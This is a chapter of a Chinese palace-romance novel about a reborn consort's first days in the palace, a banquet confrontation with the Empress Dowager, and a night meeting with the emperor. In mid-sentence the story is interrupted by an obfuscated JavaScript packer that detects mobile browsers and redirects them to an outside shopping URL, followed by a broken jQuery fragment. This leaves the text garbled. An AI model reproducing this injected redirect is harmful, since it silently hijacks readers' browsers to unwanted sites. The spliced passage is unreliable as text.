掌事宫女含夏跟在她身后,婉言相劝:“娘娘莫要心急,这恐怕是有心人的传言,为了观察娘娘的反应……”
没等白凝初有所反应,另一个小宫女战战兢兢捧了一份名单上来:“皇后娘娘,这是内务府拟定的入宫名单。”
白凝初闭了闭眼,接过那份名单。
“徐长忆,万嫣然,赵宜……容锦簇?”
白凝初眼神怔忪,仔细垂首确认一遍:“容锦簇不是跟二弟有过一段感情么,太后娘娘怎么会突然选她入宫?”
小宫女闻言更害怕,扑通一声伏跪在地,蜷了蜷身子:“禀皇后娘娘,容、容姑娘是陛下钦定的。”
“陛下钦定?”
“是、是。”
白凝初沉默良久,忽然牵了牵唇角,笑出声来。
笑着笑着,眼角笑出了晶莹的泪花,她语调凄婉,垂下纤长的眼睫:“好,好啊。本宫竟不知,原来陛下还有夺臣弟妻的爱好。”
含夏大惊失色:“娘娘慎言!”
“何必一慎再慎。”白凝初静静坐在凤座上,容色平静地摆摆手,哀莫大于心死,“罢了,罢了,随陛下如何处置吧,本宫倦了。”
洗梧宫中冷寂如死灰,仙瑶宫内却热闹极了。
万嫣然正指挥拨给自己的十几名小宫女帮忙搬东西:“红珊瑚当然要放在屏风旁边啊。”
“我那软榻就放后殿,等明年拿出来用。”
“哎呀,你小心些,别把我的步摇颠坏了!”
一折身,容锦簇正站在门口,笑吟吟弯起好看的眉眼:“你这儿还真是忙。”
“恩人,跟我客气什么。”
万嫣然忙随手扯了一个宫女:“方才搬进来的软凳呢?快搬给容美人坐。”
两人一前一后落座,万嫣然才兴奋道:“宫里上上下下都传遍了,陛下没瞧上旁人,唯独留了恩人你一个。”
容锦簇笑容渐淡,摇摇头:“他不是真的喜欢我。”
只是需要一个盟友而已。
“怎么会呢?”万嫣然忙说,“陛下很好,必然不会辜负恩人。”
“那你我日后又会如何?皇后娘娘又会怎样?”容锦簇深深叹了口气,“其实我从未想过皇后娘娘的处境。”
“白姐姐也很好啊。”万嫣然兴高采烈道,“恩人,你不用担心,咱们跟皇后娘娘还一起喝过茶听过戏呢,娘娘人美心善,不会对咱们怎样的。”
容锦簇这才感到紧绷的脊背缓缓放松下来。她提了提唇角,勉强笑了一下:“罢了。”
她入宫自然还有正事,要保护萧慎,还要找朔王报仇。
至于情爱……萧逐夜不曾爱过她。
她也不曾爱过那个高高在上的君王。
当晚。
水云榭上,轻歌曼舞。
作为宫宴,太后皇后各占一方,年轻的帝王单手支颌,饶有兴趣地观赏太常寺安排的宫女舞剑。
宫女挽出一个漂亮的剑花,直冲帝王御座而来。
萧琢时眉梢一挑,八风不动,稳若泰山。
剑风劈到长桌前的一霎,宫女收剑于背后,退到阶下,单膝跪地行礼:“奴婢听烟参见陛下。”
徐太后偏过脸,含着笑款款发问:“阿夜觉得如何?”
心下得意。
萧逐夜因蛊毒常年病弱,如今好不容易彻底恢复,怎还会耐得住欣赏那些柔弱温吞的歌舞。
阶下所谓的舞女,其实是她宫中的心腹,当作义女精心培养了许久。这英姿飒爽的姑娘,相较在座的一众莺莺燕燕,自然是一道独特风景。若是萧逐夜收了这个女子……从此关于萧逐夜身边的情报,就唾手可得了。
许久,新帝都没有说话。
徐太后急得抓心挠肝之际,萧琢时顿了顿,这才疏懒地拍了两下手,轻飘飘道:“舞得不怎么样。”
“什么?”徐太后不敢相信自己的耳朵,声音微微发抖,“这叫、这叫不怎么样?”
“是啊,观赏性太强,实践性太差。”萧琢时毫不留情道,“她剑尖指向儿臣时,甚至还在发抖,这是一个刺客应有的反应吗?但凡她出剑再利落一点,儿臣今日也不是不能留下她,可惜身手毫无天赋,儿臣看见她就心烦。”
阶下,听烟瞪圆了眼睛,心口一起一伏,从震惊到不可置信到惊诧甚至到愤怒,最后怒不可遏地盯着萧琢时。
见萧琢时挥手要她走,听烟咬牙切齿,将剑往地上一丢,一字一句道:“奴婢、告退!”
萧琢时毫不知悔改,在她身后闲闲笑道:“回去也要继续练习。虽然你毫无天赋,但努力练个十年,朕也不是不能收你当徒弟。”
一转头,徐太后那张美丽的脸上阴云密布,冷得快要滴水成冰。
倒是白凝初拿帕子掩唇佯装咳嗽,遮住了嘴角一抹笑意。
眼见听烟愤愤离场,徐太后寒了神情,也不再装模作样,冷冷问:“阿夜这是何意?”
“什么?”萧琢时作无辜状,“儿臣非但没有追究她行刺皇帝的谋逆之罪,还好心指点她武功,母后问儿臣何意,儿臣只是乐于助人而已。”
“是吗。”徐太后冷冷一笑,“哀家看你是被那狐狸精妖妃迷昏了头了!”
狐狸精妖妃?
听到这,原本坐在席间埋头苦吃的万嫣然唰的抬头支起耳朵,两眼发亮,炯炯有神。
瞧见一旁还在慢吞吞夹菜的容锦簇,她扯了扯容锦簇衣袖,小声问:“恩人,狐狸精妖妃是谁啊?”
“可能是你吧。”容锦簇敷衍道。
“怎么会是我?”万嫣然不可置信地指了指自己,两秒钟后,她笑逐颜开,“我就说呢,我也觉得我很有这种资质。”
容锦簇放下筷子,当真想了想:“如今这宫里,只有你是贵妃。徐姑娘封了宝嫔,赵姑娘封了昭仪,我才是美人呢,若说妖妃……”
不远处,徐太后冷冷的怒喝打断了两人的小声耳语:“阿夜,你瞧你的狐狸精妖妃,还在席间跟万贵妃窃窃私语,像什么样子!”
“叫什么,容锦簇!”
轰隆一声,仿佛一道惊雷劈下来,劈得容锦簇目瞪口呆。
自言自语:“我是狐狸精妖妃?”
“你说什么?”上方,徐太后面无表情地盯着她,“对哀家的话不满意么,站起来回话!”
“回太后娘娘。”容锦簇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484512|201924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听话地站起身,张口却道,“臣妾还没封妃,配不上这样的词,不然太后唤臣妾狐狸精美人吧。”
“扑哧”一声,万嫣然很配合地笑了。
最上方,新帝朝她弯了弯眼睛。
“坐吧,既然是妖妃,就大胆点儿。”他语调随意,端起酒盏,遥遥朝她举杯。
容锦簇坐下,将酒盏里的甜酒一饮而尽。
心中多少有点郁结,才刚入宫,就跟太后娘娘结下了梁子。
前世徐太后这会儿抱病,没出席宫宴,之后没多久就突然暴毙,死因不明,容锦簇甚至没跟徐太后见过面。
这一世,也许一切都不一样了。
载歌载舞整整两个时辰后,宫宴终于结束,众人起身散去。万嫣然跟着站起身,搀了一把容锦簇:“恩人,咱们一起回去吧?”
“不行。”容锦簇身子轻飘飘的,仅剩的一丝理智支撑着她摇了摇头,“我去太液池旁边吹吹风,清醒一下再回去。”
“这都多晚了。”万嫣然急切地摇晃她肩膀,“恩人你清醒一点啊,宫里入夜以后最不安全,万一你掉进太液池里了,谁能来救你?”
“我会游泳。”容锦簇小声说。
万嫣然还要再劝,宝嫔路过,亲密地挽住她的手:“万姐姐,咱们一起回吧,有些人想去吹风,就让她去好了,管她做什么。”
容锦簇默然望向她。
作为徐太后的侄女,徐太后在容锦簇这里吃瘪,徐长忆自然也不可能给容锦簇好脸色。
容锦簇印象里,前世的宝嫔一直低调,因为唯一的靠山太后姑母不久病逝,她只能隐忍不发,暂避锋芒,直到成为太妃,也是太妃中最没存在感的一个。
原来也会有这样眉眼鲜活生气的时候。
她笑了笑,轻推万嫣然一下:“快去吧,我不要紧。”
“那我走了啊。”万嫣然本也不是纠结的性子,见容锦簇意已决,劝不动她,就不再劝了,笑嘻嘻道,“明早我去含光殿找你,你若不在,我可要到太液池打捞了啊。”
目送万嫣然的背影远去,容锦簇站起身,忍不住歪了一下,好在她眼疾手快扶住了桌角,没有摔着。
她放慢了步子,沿着宫道缓缓朝醉柳亭走去。
她需要一个安静的地方,一个能让她想明白前世今生的地方,那就是前世她经常独处的醉柳亭。
她几乎是轻车熟路地摸到了亭中围栏。想想也不过三个月未见,这亭子却又变得雕栏玉砌、崭新如初,而不是十几年后掉尽了朱漆的斑驳模样。
岁月如此漫长,银面桃花不过惊鸿一霎,跟她相伴五载的帝王萧逐夜也许才是她温柔的归处。
容锦簇坐下来,晚风将她的碎发吹得纷乱。她回过头,眼中撞入一道立在寒月下的修长身影。
那人提着的萤萤宫灯将他的脸映得温暖又明亮,凤目朝她微微弯了一弯,有那么一瞬间,容锦簇恍惚了。
借着酒后说不清道不明的胆量,她轻轻地说:“你有一双跟他一模一样的眼睛。”
皎洁月色下,年轻的帝王愣住了。
良久,他启唇,哑声问:“你可知道,自己在说什么?”